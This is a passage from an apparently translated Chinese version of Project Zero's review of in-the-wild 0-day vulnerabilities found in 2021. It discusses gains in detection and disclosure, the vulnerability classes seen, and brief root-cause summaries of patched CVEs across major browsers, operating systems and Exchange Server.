年的显著增长，我们认为这主要是由于后者。虽然我们认为过去几年攻击者对 0day
利用的兴趣和投入一直在稳步增长，而且软件安全性也仍需迫切提高，但似乎最主要的原因还是安全行业检测和披露 0day 漏洞的能力提升了。
虽然我们经常谈论“在野 **利用** 的 0day 漏洞”，但我们实际调查的是“ **检测到并披露** 的在野利用 0day 漏洞”。除了 **利用**
之外，还有更多因素导致该数量的增加，最值得注意的是：检测和披露。更好地检测 0day 漏洞和更透明地披露被利用的 0day
漏洞是行业安全和进步的一项积极指标。
总而言之，我们可以将在野 0day 数量的提升分解为：
* 更多的在野 0day 漏洞检测；
* 更多的公开披露在野 0-day 漏洞利用。
#### 更多检测
在 [2019 年的回顾中](https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html)，我们写了关于“检测赤字”——“ **作为一个社区，我们严重缺乏检测在野利用 0day
的能力，以至于收集数据的缺乏和偏差，使我们无法得出有意义的结论** 。” 在过去的两年里，我们相信这方面已经取得了进展。
我们听说有更多人已经开始致力于检测 0day 漏洞。从数量上看，虽然是一个非常粗略的衡量标准，但我们也看到报告的在野 0day
数量正在增加。所以有理由认为，如果努力寻找 0day 漏洞利用的人数增加，那么检测到的在野 0day 漏洞数量可能会增加。
[](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"!\[\]\(https://images.seebug.org/content/images/2022/04/51962db4-e509-4f4c-b27f-9af20a71da65.png-w331s\)")
[](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"!\[\]\(https://images.seebug.org/content/images/2022/04/52a0dfd7-eaf9-4780-8bf3-97a66463d42f.png-w331s\)")
我们还看到在自己产品中检测到在野 0day 漏洞的厂商数量也在增加，无论这些厂商之前是否检测，在 2021
年他们似乎找到了更成功的方法。厂商对他们自身产品有拥有更多的遥测技术和全面的知识，因此他们投资检测针对自己产品的
0day。如上图所示，厂商在自家产品中发现的在野 0day 数量显著增加。谷歌在他们自己的产品中发现了 7 个 0day，而微软在他们的产品中发现了 10
个！
#### 更多披露
在野 0day 漏洞数量增加的第二个原因就是由于有了更多地披露。 Apple 和 Google Android（这里把“Google”和“Google
Android”区分开，是因为 Google Chrome 在过去几年一直安全公告中有添加注释） 首先分别在 2020 年 11 月和 2021 年 1
月开始在其安全公告中使用有关潜在野外利用的信息来标记漏洞。当厂商不在发布公告中添加注释时，我们了解 0day
被疯狂利用的唯一方法是发现该利用的研究人员站出来说明。如果 Apple 和 Google Android
之前没有注释他们的漏洞发布公告，公众可能不会知道至少有 7 个 Apple 的在野 0day 漏洞和 5 个 Android 的在野 0day
漏洞。为什么？因为这些漏洞是由“匿名人士”报道的，如果他们不想因为发现漏洞而受到赞扬，他们就不太可能公开说这些漏洞有被利用的迹象。 如果 Apple 和
Google Android 没有透明化地注释它们的安全公告，那么就有 12 个 0day 就不会被列入今年的漏洞列表。
[](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"!\[\]\(https://images.seebug.org/content/images/2022/04/bcb7fefe-f07d-4f91-b4e4-6dca0da5949f.png-w331s\)")
向 Microsoft、Google Chrome 和 Adobe 致敬并感谢他们多年来一直在为其安全公告添加注释以提高漏洞状态透明化。还要感谢
Apache 在
过去一年中还为[CVE-2021-41773](https://httpd.apache.org/security/vulnerabilities_24.html)
的公告添加了注释。
高通和 ARM 产品中的在野 0day 在 Android 安全公告中被注释为在野，但在厂商自己的安全公告中却没有。
很有可能在 2021 年，还有其他 0day 在野利用并被检测到，但厂商在其公告中并未提及这一点。在 2022
年，我们希望更多厂商在修补已被广泛利用的漏洞时注意这一点。在我们确信所有厂商都在透明地披露在野利用状态之前，还有一个大的问题：到底有多少个在野 0day
被发现了，但没有被厂商公开标注。
### 新的一年，不变的技术
在 2021 年我们拥有破纪录数量的数据点，以了解攻击者如何实际利用 0day
漏洞。不过，让人有点惊讶的是，在所有这些数据点中，这些数据中并没有什么新东西。0day
漏洞被认为是攻击者可以使用的最先进的攻击方法之一，因此我们很容易从中总结出攻击者使用的特殊技巧和攻击面。但相反，我们在 2021 年发现的 0day
基本上遵循之前在公开研究中出现的相同模式、攻击面和利用方法。一旦“利用 0day
很困难”，攻击者要想成功就必须使用前所未有的利用方法，以及在新的攻击面中找到新的漏洞。总体来说，这一年的数据并没有展现出这一点。在 58 个 0day
中，除了两个例外（在下面的 iOS 部分中描述），我们看到的一切都非常标准。
在这一年中的 58 个在野 0day 中，有 39 个也就是 67%
是内存损坏漏洞。在过去的几十年里，内存损坏漏洞一直是攻击软件的标准，并且仍然是攻击者取得成功的方式。在这些内存损坏漏洞中，大多数还停留在非常普遍和众所周知的漏洞类型：
* 17 个释放后重用漏洞
* 6 个越界读写漏洞
* 4 个缓冲区溢出漏洞
* 4 个整数溢出漏洞
接下来，我们将深入探讨今年每个主流平台的在野 0day漏洞。分享漏洞利用的趋势，以及解释为什么我们所看到的非常普通。
#### Chromium (Chrome)
Chromium 在 2021 年检测和披露的 0day 数量创下历史新高，有 14 个。在这 14 个中，10 个是渲染器远程代码执行漏洞，2
个是沙箱逃逸漏洞，1 个是信息泄露漏洞，还有 1 个被用于打开除谷歌 Chrome 之外的 Android 应用程序的网页。
14 个 0day 漏洞位于以下组件中：
* 6 个 JavaScript 引擎 - v8（[CVE-2021-21148](https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html)、[CVE-2021-30551](https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html)、[CVE-2021-30563](https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html)、[CVE-2021-30632](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html)、[CVE-2021-37975](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html)、[CVE-2021-38003](https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html)）
* 2 个 DOM 引擎 - Blink ( [CVE-2021-21193](https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html) & [CVE-2021-21206](https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html) )
* 1 个 WebGL ( [CVE-2021-30554](https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html) )
* 1 个 IndexedDB ( [CVE-2021-30633](https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html) )
* 1 个 webaudio ( [CVE-2021-21166](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html) )
* 1 个 Portals ( [CVE-2021-37973](https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html) )
* 1 个 Android Intents ( [CVE-2021-38000](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html) )
* 1 个内核 ( [CVE-2021-37976](https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html) )
当我们查看这些漏洞所针对的组件时，它们都是在以前公开的安全研究和漏洞利用中看到过的攻击面。如果有不同的话，与以前相比，DOM
的漏洞少了一些，而针对浏览器的这些其他组件（如 IndexedDB 和 WebGL）则更多。14 个 Chromium 0day 中有 13
个是内存损坏漏洞。与去年类似，这些内存损坏漏洞中的大多数都是释放后重用漏洞。
一些 Chromium 漏洞甚至与之前的在野 0day
相似。[CVE-2021-21166](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html) 是 webaudio
中`ScriptProcessorNode::Process()`
中的一个问题，主线程和音频渲染线程都可以同时访问缓冲区。[CVE-2019-13720](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html) 是 2019 年的一个 0day。它是 webaudio
中 `ConvolverHandler::Process()`中的一个漏洞，也是主线程和音频渲染线程都可以同时访问缓冲区。
[CVE-2021-30632](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html) 是 2021 年的另一个 Chromium 在野 0day。这是 Chromium 的
JavaScript 引擎 v8 中 TurboFan JIT
中的类型混淆，在修改属性映射后，TurboFan不能对代码进行反优化。CVE-2021-30632 特别处理存储全局属性的代码。CVE-2020-16009
也是一个在野 0day，原因是在地图弃用后，Turbofan未能对代码进行反优化。
#### WebKit (Safari)
在 2021 年之前，Apple 只承认了 1 个针对 WebKit/Safari 的公开已知的在野 0day，是由外部研究人员的贡献。在 2021
年这个数量达 7 个。因为没有历史样本可供参考，我们很难评估这其中的趋势或变化。所以，我们在其他未知的 Safari 漏洞和其他浏览器 0day
漏洞的背景下来看 2021 年的 WebKit 漏洞。
7 个在野 0day 分别针对以下组件：
* 4 个 Javascript 引擎 - JavaScript 内核（[CVE-2021-1870](https://support.apple.com/en-us/HT212146)、[CVE-2021-1871](https://support.apple.com/en-us/HT212146)、[CVE-2021-30663](https://support.apple.com/en-us/HT212336)、[CVE-2021-30665](https://support.apple.com/en-us/HT212336)）
* 1 个 IndexedDB ( [CVE-2021-30858](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html) )
* 1 个 Storage ( [CVE-2021-30661](https://support.apple.com/en-us/HT212317) )
* 1 个插件( [CVE-2021-1879](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1879.html) )
有点惊喜是没有发现和披露 DOM 错误。在前几年，DOM 引擎中的漏洞通常占浏览器 0day 的 15-20%，但 2021 年 WebKit
没有检测到和披露这类。
如果攻击者开始转向其他模块，例如第三方库或 IndexedDB
之类的东西，这也就不足为奇了。今后，这些模块可能对攻击者更有帮助，因为漏洞可能存在于多个浏览器或平台中。 例如，Chromium 中的 webaudio
漏洞 [CVE-2021-21166 ](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html)也存在于 WebKit 中，尽管没有证据表明它在 WebKit
中被广泛利用，它也被修复为 [CVE-2021-1844](https://support.apple.com/en-us/HT212223)。在 2021
年针对 Safari 使用的 IndexedDB 在野
0day，[CVE-2021-30858](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html)，与 2020 年 1 月在 Chromium
中修复的一个[漏洞](https://bugs.chromium.org/p/chromium/issues/detail?id=1032890)非常非常相似。
#### Internet Explorer
自从我们开始调查在野 0day 以来，Internet Explorer 每年的 0day 数量一直非常稳定。尽管 Internet Explorer
在浏览器用户中的市场份额持续下降，但 2021 年实际上与 2016 年我们所追溯的在野 0day 数量齐平。
[
](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"
!\[\]\(https://images.seebug.org/content/images/2022/04/b5e3cd51-d173-4933-8a14-d30c309be711.png-w331s\)")
尽管市场份额发生了变化，为什么我们看到的在野 0day 数量变化如此之小呢？即使用户不使用 Internet Explorer
作为其浏览器，Internet Explorer 仍然是初始进入 Windows 机器的成熟攻击面。虽然 0day
数量与我们在前几年看到的基本一致，但攻击的目标组件和发送方式发生了变化。2021 年出现的 4 个 0day 中有 3 个针对 MSHTML
浏览器引擎，并且是通过 Office 文档或其他文件格式发送给目标的。
4个 0day 分别针对以下组件：
* MSHTML 浏览器引擎（[CVE-2021-26411](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html)、[CVE-2021-33742](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-33742.html)、[CVE-2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444)）
* Javascript 引擎 - JScript9 ( [CVE-2021-34448](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448) )
针对 [CVE-2021-26411](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html) 的攻击目标最初收到一个`.mht`文件，该文件提示用户在
Internet Explorer 中打开。一旦在 Internet Explorer
中打开它，漏洞利用程序就会被下载并运行。[CVE-2021-33742](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html)
和[CVE-2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444) 通过恶意 Office 文档发送给目标。
[CVE-2021-26411](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html) 和
[CVE-2021-33742](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html)
是两种常见的内存损坏漏洞模式：一个是释放后重用漏洞，是由于在使用对象的两个操作之间有一个用户控制的回调，用户在回调期间释放对象；一个是缓冲区溢出漏洞。
在使用 [CVE-2021-40444](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444) 的利用链中使用了几个不同的漏洞，但 MSHTML 中的一个是一旦打开 Office
文档，有效负载就会运行：下载一个 CAB 文件，解压，然后执行该CAB DLL中的一个函数。与前两个 MSHTML 漏洞不同，这是 URL
解析中的逻辑漏洞，而不是内存损坏漏洞。
#### Windows
与往年相比，Windows 是我们看到目标组件变化最大的平台。然而，这种转变通常已经进行了几年，并预测到 2020 年 Windows 7
的生命周期结束，因此它不是特别新颖。
2021 年有 10 个 Windows 在野 0day 针对 7 个不同的组件：
* 2 个 Enhanced crypto provider （[CVE-2021-31199](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199)、[CVE-2021-31201](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201)）
* 2 个 NTOS 内核（[CVE-2021-33771](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771)、[CVE-2021-31979](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979)）
* 2 个 Win32k ( [CVE-2021-1732](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html)、[CVE-2021-40449](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/) )
* 1 个 Windows update medic ( [CVE-2021-36948](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948) )
* 1 个 SuperFetch ( [CVE-2021-31955](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955) )
* 1 个 dwmcore.dll ( [CVE-2021-28310](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310) )
* 1 个 ntfs.sys ( [CVE-2021-31956](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956) )
不同的目标组件的数量与过去几年相比有所不同。例如，2019 年 75% 的 Windows 0day 以 Win32k 为目标，而在 2021 年
Win32k 仅占 Windows 0day 的 20%。之所以能预料到这一点，是因为 2019 年针对 Win32k 的 8 个 0day 中有 6
个没有针对当时最新版本的 Windows 10，而是旧版本。随着 Windows 10 开始投入越来越多的资源来减少 Win32k
的攻击面，因此随着那些旧版本的生命周期结束，Win32k 越来越没有吸引力。
与多年来看到的许多 Win32k 漏洞类似，两个 2021 年的 Win32k 在野 0day
是由于用户自定义回调造成的。用户调用在回调期间更改对象状态的函数，而 Win32k
无法正确处理这些更改。[CVE-2021-1732](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html)
是一个类型混淆漏洞，由于`xxxClientAllocWindowClassExtraBytes`
中的用户回调导致越界读写。如果在回调期间调用了`NtUserConsoleControl`，则会在窗口结构中设置一个标志，表明字段是内核堆中的偏移量。`xxxClientAllocWindowClassExtraBytes`不检查这个，并在不清除标志的情况下将该字段作为用户模式指针写入。在2022年检测和披露的第一个在野
0day，[CVE-2022-21882](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html)，是由于
[CVE-2021-1732](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html)
实际上没有完全修复。攻击者找到了绕过原始补丁触发漏洞的方法。[CVE-2021-40449](https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/)
是NtGdiResetDC中的一个释放后重用漏洞，因为在用户回调期间对象被释放。
#### iOS/macOS
正如上面“更多披露”部分所讨论的，2021 年是 Apple 第一次在其漏洞公告中完整注释其漏洞状态。今年检测并披露了 5 个 iOS 在野
0day。还发现了第一个公开的 macOS 在野 0day([CVE-2021-30869](https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/))。在本节中，我们将把 iOS 和 macOS一同讨论，因为这两个操作系统包含相似的组件，以及 macOS 的样本量非常小。
[](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708
"!\[\]\(https://images.seebug.org/content/images/2022/04/5906d7ef-92d9-4d16-8d97-d6067a21bfaf.png-w331s\)")
对于总共 5 个 iOS 和 macOS 在野 0day ，他们针对 3 个不同的攻击面：
* IOMobileFrameBuffer ( [CVE-2021-30807](https://support.apple.com/en-us/HT212623)、[CVE-2021-30883](https://support.apple.com/en-us/HT212846) )
* XNU 内核 ( [CVE-2021-1782](https://support.apple.com/en-us/HT212146) & [CVE-2021-30869](https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/) )
* CoreGraphics ( [CVE-2021-30860](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html) )
* CommCenter（[FORCEDENTRY 沙箱逃逸](https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html) \- 已申请 CVE，尚未分配）
这 4 个攻击面并不新颖。IOMobileFrameBuffer 多年来一直是安全研究的目标。例如，2016 年盘古越狱使用了
[CVE-2016-4654](https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf)，这是 IOMobileFrameBuffer 中的堆缓冲区溢出漏洞。IOMobileFrameBuffer
管理屏幕的帧缓冲区，对于 iPhone 11 (A13) 及更低版本，IOMobileFrameBuffer 是内核驱动程序。从 A14 开始，它在协处理器
DCP 上运行。这是一个受欢迎的攻击面，因为从历史上看，它可以从沙盒应用访问。2021 年，IOMobileFrameBuffer 中有两个在野
0day。[CVE-2021-30807](https://support.apple.com/en-us/HT212623)
是越界读取漏洞，[CVE-2021-30883](https://support.apple.com/en-us/HT212846)
是整数溢出漏洞，都是常见的内存损坏漏洞。2022 年，我们检测到 IOMobileFrameBuffer 中另一个在野
0day，[CVE-2022-22587](https://support.apple.com/en-us/HT213053)。
一个 iOS 0day 和 macOS 0day 都利用了 XNU 内核中的漏洞，并且这两个漏洞都在与 XNU 的进程间通信 (IPC)
功能相关的代码中。[CVE-2021-1782](https://support.apple.com/en-us/HT212146) 利用了 mach
凭证中的漏洞，而 [CVE-2021-30869](https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/) 利用了 mach 消息中的漏洞。这不是我们第一次看到 iOS
在野 0day，更不用说针对 mach 凭证和 mach
消息的安全研究了。[CVE-2019-6625](https://support.apple.com/en-us/HT209443) 作为[针对 iOS
11.4.1-12.1.2 的利用链](https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html)的一部分被利用 ，也是mach
凭证中的一个[漏洞](https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html)。
Mach 消息也一直是安全研究的热门目标。在 2020 年，mach 消息中也有两个在野
0day：[CVE-2020-27932](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html)
和[CVE-2020-27950](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html)。今年的
[CVE-2021-30869](https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/) 与 2020 年的
[CVE-2020-27932](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html) 非常接近。 Tielei Wang 和 Xinru Chi 实际上在 2021 年 4 月的
Zer0con 2021
上介绍了这个[漏洞](https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf)。他们说在对
[CVE-2020-27932](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html) 进行变体分析时发现了这个漏洞。Tielei Wang
在推特[解释](https://twitter.com/WangTielei/status/1486266258152726530)他们在 2020 年
12 月发现了该漏洞，并注意到它已在 iOS 14.4 和 macOS 11.2 的 beta 版本中得到修复，这就是他们在 Zer0Con
上展示它的原因。在野利用仅针对 macOS 10，但使用了与所介绍相同的利用技术。
两个
FORCEDENTRY（[CVE-2021-30860](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html)
和[沙盒逃逸](https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html)）漏洞是今年我们都眼前一亮的漏洞
。因为[CVE-2021-30860](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html)，CoreGraphics 中的整数溢出漏洞：
1. 多年来我们都听说过攻击者如何使用 0-click iMessage 漏洞，终于我们有了一个公开的例子；
2. 该漏洞利用十分令人印象深刻。
而沙箱逃逸（CVE 已申请，尚未分配）令人印象深刻，是因为这是我们见过的为数不多的只使用逻辑错误而不是标准内存损坏漏洞的沙箱逃逸之一。
对于[CVE-2021-30860](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html)，漏洞本身并不是特别引人注目：CoreGraphics PDF 解码器的 JBIG2
解析器中的经典整数溢出。然而，Samuel Gro? 和 Ian Beer
将该漏洞描述为“他们见过的技术最复杂的漏洞之一”。他们的[博文](https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html)分享了漏洞细节，但重点是该漏洞利用 JBIG2
中可用的逻辑运算符来构建用于构建自己的计算机架构的 NAND 门。然后，该漏洞利用该新的自定义架构编写其剩余的漏洞利用。他们的博文中说道：
_他们使用超过 70,000 个定义逻辑位操作的段命令，定义了一个小型计算机体系结构，具有寄存器和完整的 64
位加法器和比较器等功能，用于搜索内存和执行算术运算。它不如 Javascript 快，但在计算上基本上是等效的。_
_沙盒逃逸漏洞的引导操作被编写为在这个逻辑电路上运行，整个程序运行在这个怪异的模拟环境中，这个模拟环境是通过一个JBIG2流进行一次解压缩而创建的。这很不可思议，同时也很可怕。_
这是使 0day 漏洞利用变得困难的一个例子 ： 攻击者必须开发一种新颖的方法来利用漏洞，而这种方法需要大量的专业知识或者时间来开发。 今年，两个
FORCEDENTRY 漏洞是 58 个 0day 中唯一给我们留下深刻印象的。希望在未来，任何成功的漏洞利用都需要像这样。
#### Android
今年检测并披露了 7 个 Android 在野 0day。在 2021 年之前只有 1 个，而且是在 2019
年：[CVE-2019-2215](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html)。与 WebKit
一样，这种缺乏数据的情况让我们很难评估其趋势和变化。所以，我们将其与公共安全研究进行比较。
对于 7 个 Android 0day，他们针对以下组件：
* Qualcomm Adreno GPU 驱动程序（[CVE-2020-11261](https://source.android.com/security/bulletin/2021-01-01)、[CVE-2021-1905](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html)、[CVE-2021-1906](https://source.android.com/security/bulletin/2021-05-01)）
* ARM Mali GPU 驱动程序（[CVE-2021-28663](https://source.android.com/security/bulletin/2021-05-01)、[CVE-2021-28664](https://source.android.com/security/bulletin/2021-05-01)）
* Upstream Linux 内核 ( [CVE-2021-1048](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html) , [CVE-2021-0920](https://source.android.com/security/bulletin/2021-11-01#kernel-components) )
2021 年的 7 个 0day 中有 5 个针对 GPU 驱动程序。 考虑到 Android 生态系统的演变以及最近对 Android
的公共安全研究，这实际上并不令人惊讶。Android 生态系统相当分散：许多不同的内核版本、不同的制造商定制等等。如果攻击者想要针对“Android
设备”，他们通常需要维护许多不同的漏洞，才能覆盖相当大比例的 Android 生态系统。但是，如果攻击者选择针对 GPU
内核驱动程序，他们将只需要两个漏洞，因为大多数 Android 设备使用 2 个 GPU 中的一个：Qualcomm Adreno GPU 或 ARM
Mali GPU。
公共安全研究在过去几年也反映了这一选择，在针对 Android 设备开发完整的漏洞利用链（用于防御目的）时， [Guang
Gong](https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf)、[Man Yue
Mo](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/)和[Ben
Hawkes](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) 都选择攻击 GPU 内核驱动程序以进行本地提权。看到在野 0day 也针对 GPU，这更像是一种确认，而不是揭示。在针对
GPU 驱动程序的 5 个 0day 中，3 个在 Qualcomm Adreno 驱动程序中，2 个在 ARM Mali 驱动程序中。
两个非 GPU 驱动程序
0day（[CVE-2021-0920](https://source.android.com/security/bulletin/2021-11-01#kernel-components) 和[CVE-2021-1048](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html)）针对 Linux 内核。不幸的是，这 2 个漏洞与 2019 年出现的
Android 在野 0day 具有一个共同特征：3 个漏洞在 Android 被利用之前之前是已知的。尽管样本量很小，我们还是惊讶地发现所有已知针对内核的
Android 0day 都是在被利用之前实际上就已知的。
现在称为
[CVE-2021-0920](https://source.android.com/security/bulletin/2021-11-01#kernel-components) 的漏洞实际上是在 2016 年 9 月发现的，并在[ Linux
内核邮件列表](https://lore.kernel.org/lkml/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/)中进行了讨论。甚至早在[
2016 年](https://lore.kernel.org/lkml/[email protected]/)就开发了一个补丁，但最终没有提交。 在检测到针对 Android 的在野漏洞利用后，该漏洞最终于 2021 年 7
月在 Linux
内核中得到[修复](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cbcf01128d0a92e131bd09f1688fe032480b65ca)，[该补丁](https://source.android.com/security/bulletin/2021-11-01#kernel-components)随后于 2021 年 11 月进入Android 安全公告。
[CVE-2021-1048](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html) 在 Linux 内核中修补后，在 Android 中 14 个月仍未修补。Linux
内核实际上只在几周内易受此问题的影响，但由于 Android 补丁，这几周对某些 Android 设备来说几乎变成一年。如果 Android OEM
同步到上游内核，那么他们很可能在某个时候针对该漏洞进行了修补。但是许多设备，例如最近的三星设备，都没有这样做，因此很容易受到攻击。
### Microsoft Exchange Server
2021 年，有 5 个针对 Microsoft Exchange Server 的在野 0day。这是我们开始跟踪在野 0day 以来第一次检测和披露
Exchange Server
的漏洞。前4个（[CVE-2021-26855](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html)、[CVE-2021-26857](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857)、[CVE-2021-26858](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858)和[CVE-2021-27065](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065)）都同时披露和修补，并且在[一次操作](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)中一起使用。第5个 (
[CVE-2021-42321](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321) ) 于 2021 年 11
月自行修补，这个漏洞在天府杯上展示，然后被微软在野发现。攻击者至少需要另一个 0day 才能成功利用这个漏洞，因为它是一个身份验证后漏洞。目前没有发现其它
0day 和 [CVE-2021-42321](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321) 作为一个利用链所使用。
在前 4 个 Exchange 在野 0day
中，[CVE-2021-26855](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html)（也称为“ProxyLogon”）是唯一一个预授权的。[CVE-2021-26855](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html) 是一个服务器端请求伪造 (SSRF)
漏洞，允许未经身份验证的攻击者作为 Exchange 服务器发送任意 HTTP
请求。其他3个漏洞是身份验证后漏洞。例如，[CVE-2021-26858](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858)
和[CVE-2021-27065](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065)
允许攻击者将任意文件写入系统。[CVE-2021-26857](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857) 是由于统一消息服务中的反序列化错误导致的远程代码执行漏洞，允许攻击者以 SYSTEM
用户权限运行代码。
[CVE-2021-42321](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321) 与
[CVE-2021-26858](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858) 一样，是由于反序列化不安全而导致的身份验证后 RCE 漏洞。微软似乎在尝试强化
Exchange 时无意中引入了另一个反序列化漏洞。
尽管 2021 年在 Exchange 中检测并披露了大量的 0day，但它们仅在两个不同的活动中被利用。这就是为什么我们不建议使用产品中的 0day
数量作为评估产品安全性的指标。要求攻击者使用 4 个 0day获得成功，比攻击者只需要一个 0day 来获得访问权限更可取。
虽然这是 Project Zero 团队首次检测和披露 Exchange 在野 0day，但这并不意外。2020 年Exchange Server 被利用了
[nday](https://www.cisa.gov/uscert/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688)。无论这是攻击者开始 0day
漏洞利用的第一年，还是防御者开始检测 0day 漏洞利用的第一年，这都不是一个意外的变化，很可能会持续到 2022 年。
### 突出的问题
